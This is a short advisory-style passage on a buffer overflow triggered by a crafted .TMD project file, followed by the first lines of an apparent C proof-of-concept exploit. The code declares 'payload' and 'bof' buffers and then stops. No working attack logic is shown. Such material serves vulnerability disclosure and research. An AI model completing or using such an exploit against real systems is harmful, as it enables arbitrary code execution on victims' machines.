The vulnerability is caused due to a boundary error in the processing of a project file, which can be exploited to cause a buffer overflow when a user opens e.g. a specially crafted .TMD file. Successful exploitation may allow execution of arbitrary code.
int main(int argc, char *argv[])
{
char payload[PSIZE];
char bof[50000];